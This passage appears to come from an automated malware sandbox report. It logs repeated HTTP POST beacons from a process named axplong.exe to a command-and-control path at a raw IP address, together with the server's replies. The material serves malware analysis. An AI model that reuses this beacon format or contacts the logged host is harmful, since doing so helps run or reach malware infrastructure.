                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:57.748241901 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:57 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            42192.168.2.449778185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:57.857064962 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:58.570982933 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:58 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:58.572108030 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:20:58.806097031 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:58 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            43192.168.2.449779185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:20:58.919629097 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:20:59.628705025 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:59 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:20:59.629519939 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:00.064815998 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:59 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0
                            Sep 27, 2024 00:21:00.067380905 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:20:59 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            44192.168.2.449781185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:00.216885090 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:00.914303064 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:00 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:00.915410995 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:01.140925884 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:01 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            45192.168.2.449782185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:01.266969919 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:01.967941046 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:01 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:01.972081900 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:02.199146032 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:02 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            46192.168.2.449783185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:02.431035042 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:03.129177094 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:03 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:03.134310007 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:03.425687075 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:03 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            47192.168.2.449784185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:03.546127081 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:04.234219074 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:04 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:04.234967947 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:04.457339048 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:04 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            48192.168.2.449785185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:04.576325893 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:05.702428102 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:05 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:05.702450991 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:05 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:05.703316927 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:05.929466009 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:05 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            49192.168.2.449786185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:06.045921087 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:06.760822058 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:06 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:06.764307976 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:06.991286039 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:06 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            50192.168.2.449787185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:07.107584000 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:07.815901041 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:07 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:07.816720963 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:08.058854103 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:07 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            51192.168.2.449788185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:08.172784090 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:08.906177998 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:08 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:08.908025026 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:09.147891998 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:09 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            52192.168.2.449789185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:09.397687912 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:10.106559038 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:09 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            53192.168.2.449790185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:10.115262032 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:10.844120026 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:10 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            54192.168.2.449791185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:10.983480930 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
